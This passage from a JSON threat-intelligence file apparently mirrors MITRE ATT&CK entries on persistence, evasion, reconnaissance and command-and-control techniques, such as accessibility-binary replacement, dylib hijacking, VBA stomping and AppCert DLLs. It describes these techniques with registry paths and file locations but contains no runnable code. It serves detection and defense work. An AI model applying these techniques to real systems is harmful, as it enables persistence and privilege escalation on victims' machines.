"https://attack.mitre.org/techniques/T1543/003",
"https://capec.mitre.org/data/definitions/478.html",
"https://capec.mitre.org/data/definitions/550.html",
"https://capec.mitre.org/data/definitions/551.html",
"https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697",
"https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection",
"https://technet.microsoft.com/en-us/library/cc772408.aspx",
"https://technet.microsoft.com/en-us/sysinternals/bb963902"
]
},
"related": [
{
"dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5",
"type": "subtechnique-of"
}
],
"uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
"value": "Windows Service - T1543.003"
},
{
"description": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)",
"meta": {
"external_id": "CAPEC-551",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Process: Process Creation",
"Service: Service Creation",
"Service: Service Modification"
],
"mitre_platforms": [
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1543/004",
"https://bradleyjkemp.dev/post/launchdaemon-hijacking/",
"https://capec.mitre.org/data/definitions/550.html",
"https://capec.mitre.org/data/definitions/551.html",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
"https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf",
"https://www.real-world-systems.com/docs/launchdPlist.1.html",
"https://www.sentinelone.com/blog/how-malware-persists-on-macos/",
"https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"related": [
{
"dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5",
"type": "subtechnique-of"
}
],
"uuid": "573ad264-1371-4ae0-8482-d2673b719dba",
"value": "Launch Daemon - T1543.004"
},
{
"description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \n\nOn Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)\n\nSimilarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)",
"meta": {
"external_id": "T1564.003",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Modification",
"Process: Process Creation",
"Script: Script Execution"
],
"mitre_platforms": [
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1564/003",
"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
"https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1"
]
},
"related": [
{
"dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
"type": "subtechnique-of"
}
],
"uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0",
"value": "Hidden Window - T1564.003"
},
{
"description": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)",
"meta": {
"external_id": "T1547.003",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"Module: Module Load",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1547/003",
"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings",
"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top",
"https://github.com/scottlundgren/w32time",
"https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx",
"https://technet.microsoft.com/en-us/sysinternals/bb963902"
]
},
"related": [
{
"dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
"type": "subtechnique-of"
}
],
"uuid": "61afc315-860c-4364-825d-0d62b2e91edc",
"value": "Time Providers - T1547.003"
},
{
"description": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)",
"meta": {
"external_id": "T1568.003",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://www.crowdstrike.com/blog/whois-numbered-panda/",
"https://attack.mitre.org/techniques/T1568/003",
"https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/",
"https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"
]
},
"related": [
{
"dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b",
"type": "subtechnique-of"
}
],
"uuid": "83a766f8-1501-4b3a-a2de-2e2849e8dfc1",
"value": "DNS Calculation - T1568.003"
},
{
"description": "Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.",
"meta": {
"external_id": "T1583.006",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Internet Scan: Response Content"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1583/006",
"https://threatconnect.com/blog/infrastructure-research-hunting/"
]
},
"related": [
{
"dest-uuid": "0458aab9-ad42-4eac-9e22-706a95bafee2",
"type": "subtechnique-of"
}
],
"uuid": "88d31120-5bc7-4ce3-a9c0-7cf147be8e54",
"value": "Web Services - T1583.006"
},
{
"description": "Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.\n\nAdversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
"meta": {
"external_id": "T1596.003",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1596/003",
"https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2",
"https://www.sslshopper.com/ssl-checker.html"
]
},
"related": [
{
"dest-uuid": "55fc4df0-b42c-479a-b860-7a6761bcaad0",
"type": "subtechnique-of"
}
],
"uuid": "0979abf9-4e26-43ec-9b6e-54efc4e70fca",
"value": "Digital Certificates - T1596.003"
},
{
"description": "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\n\nAfter creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",
"meta": {
"external_id": "T1587.003",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Internet Scan: Response Content"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1587/003",
"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
]
},
"related": [
{
"dest-uuid": "edadea33-549c-4ed1-9783-8f5a5853cbdf",
"type": "subtechnique-of"
}
],
"uuid": "1cec9319-743b-4840-bb65-431547bce82a",
"value": "Digital Certificates - T1587.003"
},
{
"description": "Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
"meta": {
"external_id": "T1589.003",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1589/003",
"https://www.opm.gov/cybersecurity/cybersecurity-incidents/"
]
},
"related": [
{
"dest-uuid": "5282dd9a-d26d-4e16-88b7-7c0f4553daf4",
"type": "subtechnique-of"
}
],
"uuid": "76551c52-b111-4884-bc47-ff3e728f0156",
"value": "Employee Names - T1589.003"
},
{
"description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",
"meta": {
"external_id": "T1598.003",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1598/003",
"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide",
"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf",
"https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages",
"https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html"
]
},
"related": [
{
"dest-uuid": "cca0ccb6-a068-4574-a722-b1556f86833a",
"type": "subtechnique-of"
}
],
"uuid": "2d3f5b3c-54ca-4f4d-bb1f-849346d31230",
"value": "Spearphishing Link - T1598.003"
},
{
"description": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)",
"meta": {
"external_id": "CAPEC-471",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Creation",
"File: File Modification",
"Module: Module Load"
],
"mitre_platforms": [
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1574/004",
"https://capec.mitre.org/data/definitions/471.html",
"https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html",
"https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py",
"https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py",
"https://malwareunicorn.org/workshops/macos_dylib_injection.html#5",
"https://objective-see.com/blog/blog_0x46.html",
"https://taomm.org/vol1/pdfs.html",
"https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
"https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf"
]
},
"related": [
{
"dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
"type": "subtechnique-of"
}
],
"uuid": "fc742192-19e3-466c-9eb5-964a97b29490",
"value": "Dylib Hijacking - T1574.004"
},
{
"description": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time. (Citation: Malware Persistence on OS X)",
"meta": {
"external_id": "T1546.006",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Metadata",
"File: File Modification",
"Module: Module Load",
"Process: Process Creation"
],
"mitre_platforms": [
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1546/006",
"https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"related": [
{
"dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
"type": "subtechnique-of"
}
],
"uuid": "10ff21b9-5a01-4268-a1b5-3b55015f1847",
"value": "LC_LOAD_DYLIB Addition - T1546.006"
},
{
"description": "Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a PerformanceCache that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the _VBA_PROJECT stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)",
"meta": {
"external_id": "T1564.007",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Metadata",
"Script: Script Execution"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1564/007",
"https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239",
"https://github.com/bontchev/pcodedmp",
"https://github.com/decalage2/oletools",
"https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278",
"https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/",
"https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html"
]
},
"related": [
{
"dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
"type": "subtechnique-of"
}
],
"uuid": "c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b",
"value": "VBA Stomping - T1564.007"
},
{
"description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe",
"meta": {
"external_id": "CAPEC-558",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/",
"https://attack.mitre.org/techniques/T1546/008",
"https://capec.mitre.org/data/definitions/558.html",
"https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html",
"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html",
"https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom"
]
},
"related": [
{
"dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
"type": "subtechnique-of"
}
],
"uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
"value": "Accessibility Features - T1546.008"
},
{
"description": "Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.",
"meta": {
"external_id": "T1584.006",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Internet Scan: Response Content"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1584/006",
"https://threatconnect.com/blog/infrastructure-research-hunting/",
"https://www.recordedfuture.com/turla-apt-infrastructure/"
]
},
"related": [
{
"dest-uuid": "7e3beebd-8bfe-4e7b-a892-e44ab06a75f9",
"type": "subtechnique-of"
}
],
"uuid": "ae797531-3219-49a4-bccf-324ad7a4c7b2",
"value": "Web Services - T1584.006"
},
{
"description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ",
"meta": {
"external_id": "T1546.009",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"Module: Module Load",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1546/009",
"https://forum.sysinternals.com/appcertdlls_topic12546.html",
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
]
},
"related": [
{
"dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
"type": "subtechnique-of"
}
],
"uuid": "7d57b371-10c2-45e5-b3cc-83a8fb380e4c",
"value": "AppCert DLLs - T1546.009"
},
{
"description": "Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)",
"meta": {
"external_id": "T1564.009",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Metadata",
"Process: Process Creation"
],
"mitre_platforms": [
"macOS"
],
"refs": [
"http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553",
"https://attack.mitre.org/techniques/T1564/009",
"https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html",
"https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/",
"https://flylib.com/books/en/4.395.1.192/1/",
"https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/"
]
},
"related": [
{
"dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
"type": "subtechnique-of"
}
],
"uuid": "b22e5153-ac28-4cc6-865c-2054e36285cb",
"value": "Resource Forking - T1564.009"
},
{
"description": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.",
"meta": {
"external_id": "T1547.008",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Driver: Driver Load",
"File: File Creation",
"File: File Modification",
"Module: Module Load"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1547/008",
"https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx",
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"https://technet.microsoft.com/library/cc961760.aspx",
"https://technet.microsoft.com/library/dn408187.aspx"
]
},
"related": [
{
"dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
"type": "subtechnique-of"
}
],
"uuid": "f0589bc3-a6ae-425a-a3d5-5659bfee07f4",
"value": "LSASS Driver - T1547.008"
},
{
